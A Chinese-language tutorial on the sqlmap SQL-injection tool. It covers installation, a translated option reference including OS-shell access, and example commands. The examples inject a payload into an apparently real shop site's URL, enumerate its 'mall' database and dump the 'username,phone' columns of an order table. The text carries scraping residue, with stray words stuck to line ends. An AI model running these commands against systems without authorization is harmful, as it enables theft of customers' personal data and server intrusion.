官方网址:http://sqlmap.org
Github地址:https://github.com/sqlmapproject/sqlmap
中文使用说明:http://www.91ri.org/6775.htmlphp
Sqlmap是一种开源的渗透测试工具,能够自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有很是强大的检测引擎、具备多种特性的渗透测试器、经过数据库指纹提取访问底层文件系统并经过外带链接执行命令。
支持的数据库:MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB
SQL注入技术:boolean-based blind, time-based blind, error-based, UNION query, stacked queries and out-of-band
枚举数据:users, password hashes, privileges, roles, databases, tables and columnshtml
直接在Linux服务器在线安装(比较慢),也能够去官网下载后解压。python
git clone https://github.com/sqlmapproject/sqlmap.git /alidata/sqlmapgit
python sqlmap.py -u "http://xxxxxxxxxxx.com/report/businessOverview/index" --data "shopIds=810077870"github
python sqlmap.py -u "http://xxxxxxxxxxx.com/list/?type=109-if((length(database())=4),0,1)" --dbssql
python sqlmap.py -u "http://xxxxxxxxxxx.com/list/?type=109-if((length(database())=4),0,1)" -D mall --tablesshell
python sqlmap.py -u "http://xxxxxxxxxx.com/list/?type=109-if((length(database())=4),0,1)" -D mall -T orderlist --columns数据库
python sqlmap.py -u "http://xxxxxxxxx.com/list/?type=109-if((length(database())=4),0,1)" -D mall -T orderlist -C "username,phone" --dump后端
目标:至少要选中一个参数
-u URL, --url=URL 目标为 URL (例如. "http://www.site.com/vuln.php?id=1")
-g GOOGLEDORK 将谷歌dork的结果做为目标url
请求:
这些选项可用于指定如何链接到目标URL
--data=DATA 数据字符串经过POST发送
--cookie=COOKIE HTTP Cookie的值
--random-agent 随机选择 HTTP User-Agent 头的值
--proxy=PROXY 使用代理去链接目标URL
--tor 使用匿名网络
--check-tor 检查Tor是否正确使用
注入:
这些选项可用于指定要测试哪些参数,提供自定义注入负载和可选篡改脚本
-p TESTPARAMETER 可测试的参数
--dbms=DBMS 将后端DBMS强制到此值
检测:
这些选项可用于定制检测阶段
--level=LEVEL 执行的测试级别(1-5, 默认 1)
--risk=RISK 执行测试的风险 (1-3, 默认 1)
技术:
这些选项可用于调整特定SQL注入的测试的技术
--technique=TECH SQL注入技术选择 (默认 "BEUSTQ")
枚举:
T这些选项可用于枚举后端数据库管理系统的信息、结构和数据表。此外,还能够运行本身的SQL语句
-a, --all 检索所有
-b, --banner 检索 banner
--current-user 检索当前用户
--current-db 检索当前数据库
--passwords 列出用户密码的hash值
--tables 列出表
--columns 列出字段
--schema 列出DBMS schema
--dump Dump DBMS数据库表的条目
--dump-all Dump 全部DBMS数据库表的条目
-D DB 指定数据库
-T TBL 指定表
-C COL 指定字段
操做系统访问:
这些选项可用于访问后端数据库管理系统底层操做系统
--os-shell 提示为交互式操做系统shell
--os-pwn 提示为OOB外壳,Meterpreter或VNC
通用:
这些选项可用于设置一些通用的工做参数
--batch 永远不要要求用户输入,使用默认行为
--flush-session 刷新当前目标的会话文件
杂项:
--sqlmap-shell 提示输入交互式sqlmap shell
--wizard 初学者的简单向导界面安全
python sqlmap.py -u "http://xxxxxxx.com/list/?type=109-if((length(database())=4),0,1)" --dbs
python sqlmap.py -u "http://xxxxxxxxxxxxx.com/list/?type=109-if((length(database())=4),0,1)" -D mall --tables
python sqlmap.py -u "http://xxxxxxxxxxxxx.com//list/?type=109-if((length(database())=4),0,1)" -D mall -T orderlist --columns
python sqlmap.py -u "http://xxxxxxxxx.com/list/?type=109-if((length(database())=4),0,1)" -D mall -T orderlist -C "username,phone" --dump
python sqlmap.py -u "http://xxxxxxxxx.com/shopform.html" --data "tel=130555554837" --batch